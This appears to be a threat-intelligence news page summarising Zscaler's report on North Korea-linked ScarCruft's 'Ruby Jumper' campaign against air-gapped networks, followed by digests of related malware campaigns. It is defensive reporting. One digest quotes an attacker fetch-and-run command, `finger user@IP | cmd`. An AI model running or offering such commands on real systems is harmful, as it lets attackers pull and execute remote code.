Loading story…
North Korea-linked ScarCruft (APT37) has been attributed to a new espionage campaign dubbed Ruby Jumper that is designed to compromise air-gapped environments using a multi-stage infection chain and removable media. Zscaler ThreatLabz reported the activity was identified in December 2025 and described an initial access method that relies on a malicious Windows shortcut (.LNK); when opened, it triggers PowerShell to extract multiple embedded payloads (including a decoy document and staged scripts/binaries) from fixed offsets within the LNK and then decrypts and executes follow-on code in memory.
The toolset includes multiple malware components—reported as RESTLEAF, SNAKEDROPPER, THUMBSBD, VIRUSTASK, FOOTWINE (and additionally BLUELIGHT in one account)—used to progress execution, establish persistence, and enable surveillance. RESTLEAF was described as using Zoho WorkDrive for command-and-control, authenticating with a valid access token and downloading additional shellcode for execution (including via process injection), representing a noted shift to abusing a cloud storage service for C2; the campaign also includes an implant/workflow that uses removable media (USB) to relay commands and bridge isolated networks, enabling compromise of systems without direct internet connectivity.
TTPs, infrastructure, and targeting history in one profile.
4 events from the most recent confirmed update back to the earliest known activity.
Multiple outlets reported on February 27, 2026 that Zscaler had disclosed the Ruby Jumper campaign and its technical details, including attribution to APT37 and the use of cloud services plus removable media to compromise air-gapped networks. The reporting highlighted Zoho WorkDrive abuse as a newly observed ScarCruft command-and-control method.
APT37 used THUMBSBD and VIRUSTASK to weaponize removable media, storing encrypted commands and stolen data in hidden folders such as $RECYCLE.BIN on USB drives. This enabled bidirectional tasking, exfiltration, and propagation between connected hosts and isolated air-gapped machines, with additional surveillance payloads like FOOTWINE available for keylogging and audio/video capture.
In the campaign, victims were lured into opening a malicious Windows LNK file that launched PowerShell, extracted embedded payloads, and displayed an Arabic-language decoy document related to the Palestine-Israel conflict. The malware chain deployed components including RESTLEAF and SNAKEDROPPER, with command-and-control traffic routed through legitimate cloud services such as Zoho WorkDrive, OneDrive, Google Drive, and pCloud.
Zscaler ThreatLabz discovered a new North Korea-linked campaign in December 2025 and attributed it with high confidence to APT37/ScarCruft. The operation targeted air-gapped Windows environments using a multi-stage malware toolkit and removable media.
Vulnerabilities, threat actors, malware, products, organizations, and breaches Mallory has linked to this story.
See this adversary's TTPs, infrastructure, and targeting history, correlated against your exposure.
3 references tracked. Mallory keeps watching after this page renders.
thehackernews.com
Open sourcecybersecuritynews.com
Open sourcebleepingcomputer.com
Open sourceMap indicators from this story to your assets and identify affected systems in minutes.
Every observed campaign, victim, and pivot linked to actors named in this story.
Malware, exploits, and IOCs connected to the activity described here.
YARA, Sigma, and Snort rules deployed to your SIEM as soon as they’re published.
Get matching new stories delivered to your team as they break — not the next morning.
Ask questions about this story and take action on the answers.
Other stories Mallory is tracking that overlap on entities, sources, or topic labels.
Reporting across multiple research teams described a surge of distinct, ongoing intrusion campaigns rather than a single unified incident. **Check Point** reported on **Silver Dragon**, a Chinese-aligned activity cluster assessed as operating under the broader **APT41** umbrella, targeting organizations in **Southeast Asia and Europe** (notably government) via exploitation of public-facing servers and phishing, then deploying **Cobalt Strike**, **DNS tunneling**, and a new Google Drive–based backdoor (**GearDoor**) alongside custom tools (**SSHcmd** and **SliverScreen**) for remote access and screen capture. **Microsoft** detailed separate February 2026 phishing campaigns by an unknown actor that used meeting/invoice-style lures and **EV code-signed** malware (certificate issued to **TrustConnect Software PTY LTD**) masquerading as common workplace apps (e.g., `msteams.exe`, `adobereader.exe`, `zoomworkspace.clientsetup.exe`) to install legitimate **RMM** tooling (**ScreenConnect**, **Tactical RMM**, **Mesh Agent**) for persistent access and lateral movement. Other reporting highlighted additional, unrelated campaigns and tradecraft: **ClearSky** described a Russian-aligned operation targeting **Ukraine** using a phishing-delivered ZIP/HTA chain that drops a .NET loader (**BadPaw**) and backdoor (**MeowMeow**) with **.NET Reactor** obfuscation, parameter-gated execution, and sandbox/tooling checks (with low-confidence linkage to **APT28**). **Cofense**-reported activity (via SC Media) showed phishing that weaponizes **Windows File Explorer + WebDAV** using URL/LNK shortcuts to pull payloads (notably **AsyncRAT**, **XWorm**, **DcRAT**) and infrastructure including **Cloudflare Tunnel** domains hosting WebDAV servers. **Cisco Talos**-reported **Dohdoor** activity (UAT-10027) targeted US **education and healthcare**, using PowerShell→batch→DLL sideloading via legitimate executables (e.g., `Fondue.exe`, `mblctr.exe`, `ScreenClippingHost.exe`) and **DNS-over-HTTPS** to Cloudflare for C2 discovery and tunneling. Separately, **Zscaler** reported **ScarCruft**’s *Ruby Jumper* campaign using **Zoho WorkDrive** for C2 and removable media components to reach air-gapped systems, while another Zscaler report analyzed **Dust Specter** targeting Iraqi government officials with password-protected RAR delivery and modular implants. **Qianxin XLab** assessed sanctioned infrastructure provider **Funnull** resurfacing to support scam/criminal supply chains and potential **MacCMS**-related supply-chain activity, and **F5 Labs** summarized **APT42**’s **TAMECAT** PowerShell backdoor focused on Edge/Chrome credential theft with C2 over Telegram/Discord/HTTPS and specific file/hash indicators. (A separate Help Net Security item on a Microsoft Defender onboarding tool is product/administrative news and not part of the threat-campaign reporting.)
Jun 29, 2026
Multiple threat reports describe **social-engineering-driven malware delivery** leading to remote access and follow-on payload deployment. Fortinet observed a **multi-stage phishing campaign targeting users in Russia** that delivers **Amnesia RAT** and ransomware via business-themed decoy documents and a malicious `.lnk` shortcut using a double extension (e.g., `*.txt.lnk`). The infection chain uses public cloud services for staging—**GitHub** for scripts and **Dropbox** for binary payloads—and abuses **defendnot** to trick Windows into believing a third-party AV is installed, effectively disabling **Microsoft Defender** before later-stage execution. Separately, Huntress attributed activity to **KongTuke**, which uses **malicious browser extensions** to display fake “browser crash” security alerts (“**CrashFix**”) that pressure users into running attacker-provided commands, and also deploys a Python RAT dubbed **ModeloRAT**. ModeloRAT is described as heavily obfuscated, using **Windows Registry** persistence and **RC4**-encrypted communications, with the ability to deliver additional payloads (DLLs, executables, scripts). Red Canary’s January intelligence update highlights **Scarlet Goldfinch** activity using **paste-and-run** lures and a notable technique of using the Windows `finger` client to pull remote content (e.g., `finger user@IP | cmd`), followed by `curl` download of an archive masquerading as a PDF and extraction via `tar -xf`, culminating in **Remcos** (and sometimes **NetSupport**) delivered via **DLL sideloading**.
Jun 29, 2026
The North Korea-linked **ScarCruft** group, also tracked as **RedEyes** and **APT37**, used multiple lure themes and file formats to target South Korean users with espionage malware. In one campaign, attackers weaponized Hangul Word Processor documents with the EPS flaw `CVE-2017-8291`, embedding malicious EPS content that executed code, dropped scripts, downloaded additional payloads, and launched malware through `rundll32`. A later AhnLab investigation found the group hiding an encoded PE payload inside a downloaded JPEG via **steganography**, then decoding a loader that established persistence through a Run key and used PowerShell and `mshta` before injecting a newly identified backdoor, **M2RAT**, into `explorer.exe`. ScarCruft also shifted to **CHM** lures tied to the Fukushima wastewater issue, using social engineering to trigger JavaScript and an encoded PowerShell backdoor that could persist, receive commands, steal files, and manipulate the registry and scheduled tasks. Researchers said **M2RAT** expands the group’s collection capabilities with keylogging, screen capture, process control, file theft, and USB or document exfiltration, while earlier reporting also documented ScarCruft’s evolving tooling, including a Bluetooth harvester. The activity shows a sustained pattern of adapting delivery methods while maintaining a focus on intelligence collection from carefully selected victims in South Korea.
Aug 15, 2026